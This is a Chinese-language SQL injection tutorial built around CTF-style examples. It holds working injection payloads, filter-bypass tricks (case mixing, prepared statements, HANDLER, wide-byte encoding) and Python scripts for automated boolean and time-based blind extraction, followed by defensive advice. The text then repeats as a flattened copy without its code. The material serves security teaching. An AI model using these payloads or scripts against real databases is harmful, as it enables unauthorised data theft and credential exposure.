通过一文了解SQL注入
字数 1730 2025-08-12 11:33:52

SQL注入全面指南

1. SQL注入概述

1.1 定义

SQL注入是一种攻击技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,欺骗数据库服务器执行非授权的任意查询。

1.2 漏洞成因

  • 程序没有细致过滤用户输入的数据
  • Web应用程序对用户输入数据的合法性没有判断或过滤不严
  • 攻击者可以在预定义查询语句的结尾添加额外的SQL语句

1.3 漏洞危害

  1. 未经授权访问数据库中的数据,导致用户信息泄露
  2. 对数据库数据进行增加或删除操作
  3. 篡改网页内容(如果有写入权限)
  4. 获取服务器最高权限,远程控制服务器

2. SQL注入常见类型

2.1 联合查询注入

特点

  • 使用UNION合并多个SELECT查询的结果集
  • 要求SELECT语句必须拥有相同列且数据类型相同
  • 必须有显示位(界面回显)

常用语句

uname=n' union select 1,group_concat(schema_name) from information_schema.schemata #

union select 1,2,3的含义

  • 用于确定显示位的位置
  • 数字会对应到数据库中的列

2.2 布尔盲注

适用场景

  • 应用程序返回固定界面(正确和错误执行界面不同)
  • 无法直接获取信息,但可以通过逻辑判断获取数据

常用函数

  • length():返回字符串长度
  • substr(str,pos,len):从特定位置截取子字符串
  • ascii():返回字符的ASCII码值

示例

-1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1)='c',1,0)#

2.3 时间盲注

适用场景

  • 应用程序返回固定界面(正确和错误执行界面相同)
  • 通过延时函数判断语句执行是否正确

常用函数

  • if(x,x1,x2):条件判断
  • sleep(t):暂停t秒执行
  • benchmark(t,y):对y的性能计算t次

替代延时方法

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C

2.4 报错注入

适用场景

  • 无法使用联合查询但存在报错回显时

常用函数

  • updatexml(XML_document,Xpath_string,new_value)
  • extractvalue(XML_document,XPath_string)
  • floor() + rand() + group by + count()组合

示例

select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.5 堆叠注入

特点

  • 使用分号(;)执行多条SQL语句
  • 受API或数据库引擎限制

示例

1'insert into users(id,username,password) values(88,'aaa','bbb');#

2.6 二次注入

原理

  1. 用户向数据库插入恶意语句(前端转义但数据库存储原样)
  2. 程序信任数据库数据,直接取出执行

示例
注册用户名为admin'#,密码为111,然后修改密码时会修改admin的密码

2.7 宽字节注入

原理

  • 前端使用UTF-8编码,后端使用GBK等宽字节编码
  • 利用字符与反斜杠组合形成汉字,使特殊字符逃逸

示例

?id=1%df%27

3. 特殊注入技术

3.1 万能语句

1' or 1=1#

原理

select * from users where username='1' or 1=1 #' and password='1'

等价于:

select * from users where username='1' or 1=1

3.2 MD5特殊字符串

特殊字符串ffifdyop
原理

md5("ffifdyop",true) = 'or'6+其他字符

3.3 NoSQL注入

常用操作符

  • $gt : >
  • $lt : <
  • $gte: >=
  • $lte: <=
  • $ne: 不等于
  • $in: in
  • $nin: not in
  • $regex: 正则匹配

示例

{"username": {"$ne": "admin"}, "password": "123456"}

3.4 Limit注入

原理

  • LIMIT后可使用PROCEDURE和INTO
  • INTO有写入shell权限

示例

SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

4. 防御绕过技术

4.1 函数替代

  • 时间盲注:sleep()benchmark() → 笛卡尔积
  • 布尔盲注:ascii()ord()
  • 联合查询:whereright joinon

4.2 大小写绕过

-1' uNion sElect 1,group_concat(username),group_concat(password) from ctfshow_user --+

4.3 预编译绕过

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

4.4 HANDLER绕过

handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

5. 实战案例

5.1 联合查询实战

-1' union select 1,group_concat(password) from ctfshow_user2--+

5.2 布尔盲注实战

import requests
url = "http://example.com/api/"
flag=""
for i in range(1,55):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz_-{}":
        payload="-1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)='{}',1,0)#".format(i,j)
        data={'username':payload, 'password':0}
        r=requests.post(url=url,data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            flag += j
            print(flag)
            if j=='}': exit()
            break

5.3 时间盲注实战

import requests
url = "http://example.com/api/"
flag="ctfshow{"
for i in range(9,55):
    for j in "0123456789ab,cdefghijklmnopqrstuvwxyz_-{}":
        payload="if(substr((select flagaac from ctfshow_flagxc),{},1)='{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables D),1)"
        data={'ip':payload.format(i,j), 'debug':'0'}
        try:
            response = requests.post(url=url,data=data,timeout=0.7)
        except Exception as e:
            flag += j
            print(flag)

5.4 报错注入实战

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a%23

5.5 宽字节注入实战

?id=-1%df%27 union select 1,2,(select group_concat(username,0x7e,password) from security.users)--+

6. 防御措施

  1. 使用参数化查询(预编译语句)
  2. 对用户输入进行严格的过滤和转义
  3. 使用最小权限原则
  4. 对数据库错误信息进行适当处理
  5. 使用Web应用防火墙(WAF)
  6. 定期进行安全审计和渗透测试

7. 总结

SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过多种方式利用此漏洞获取敏感数据或控制系统。本文详细介绍了各种SQL注入技术及其防御方法,安全开发人员应充分了解这些技术,以便更好地保护应用程序安全。

SQL注入全面指南 1. SQL注入概述 1.1 定义 SQL注入是一种攻击技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,欺骗数据库服务器执行非授权的任意查询。 1.2 漏洞成因 程序没有细致过滤用户输入的数据 Web应用程序对用户输入数据的合法性没有判断或过滤不严 攻击者可以在预定义查询语句的结尾添加额外的SQL语句 1.3 漏洞危害 未经授权访问数据库中的数据,导致用户信息泄露 对数据库数据进行增加或删除操作 篡改网页内容(如果有写入权限) 获取服务器最高权限,远程控制服务器 2. SQL注入常见类型 2.1 联合查询注入 特点 : 使用UNION合并多个SELECT查询的结果集 要求SELECT语句必须拥有相同列且数据类型相同 必须有显示位(界面回显) 常用语句 : union select 1,2,3的含义 : 用于确定显示位的位置 数字会对应到数据库中的列 2.2 布尔盲注 适用场景 : 应用程序返回固定界面(正确和错误执行界面不同) 无法直接获取信息,但可以通过逻辑判断获取数据 常用函数 : length() :返回字符串长度 substr(str,pos,len) :从特定位置截取子字符串 ascii() :返回字符的ASCII码值 示例 : 2.3 时间盲注 适用场景 : 应用程序返回固定界面(正确和错误执行界面相同) 通过延时函数判断语句执行是否正确 常用函数 : if(x,x1,x2) :条件判断 sleep(t) :暂停t秒执行 benchmark(t,y) :对y的性能计算t次 替代延时方法 : 2.4 报错注入 适用场景 : 无法使用联合查询但存在报错回显时 常用函数 : updatexml(XML_document,Xpath_string,new_value) extractvalue(XML_document,XPath_string) floor() + rand() + group by + count() 组合 示例 : 2.5 堆叠注入 特点 : 使用分号(;)执行多条SQL语句 受API或数据库引擎限制 示例 : 2.6 二次注入 原理 : 用户向数据库插入恶意语句(前端转义但数据库存储原样) 程序信任数据库数据,直接取出执行 示例 : 注册用户名为 admin'# ,密码为 111 ,然后修改密码时会修改admin的密码 2.7 宽字节注入 原理 : 前端使用UTF-8编码,后端使用GBK等宽字节编码 利用字符与反斜杠组合形成汉字,使特殊字符逃逸 示例 : 3. 特殊注入技术 3.1 万能语句 原理 : 等价于: 3.2 MD5特殊字符串 特殊字符串 : ffifdyop 原理 : 3.3 NoSQL注入 常用操作符 : $gt : > $lt : < $gte : >= $lte : <= $ne : 不等于 $in : in $nin : not in $regex : 正则匹配 示例 : 3.4 Limit注入 原理 : LIMIT后可使用PROCEDURE和INTO INTO有写入shell权限 示例 : 4. 防御绕过技术 4.1 函数替代 时间盲注: sleep() → benchmark() → 笛卡尔积 布尔盲注: ascii() → ord() 联合查询: where → right join 和 on 4.2 大小写绕过 4.3 预编译绕过 4.4 HANDLER绕过 5. 实战案例 5.1 联合查询实战 5.2 布尔盲注实战 5.3 时间盲注实战 5.4 报错注入实战 5.5 宽字节注入实战 6. 防御措施 使用参数化查询(预编译语句) 对用户输入进行严格的过滤和转义 使用最小权限原则 对数据库错误信息进行适当处理 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 7. 总结 SQL注入是一种危害极大的Web安全漏洞,攻击者可以通过多种方式利用此漏洞获取敏感数据或控制系统。本文详细介绍了各种SQL注入技术及其防御方法,安全开发人员应充分了解这些技术,以便更好地保护应用程序安全。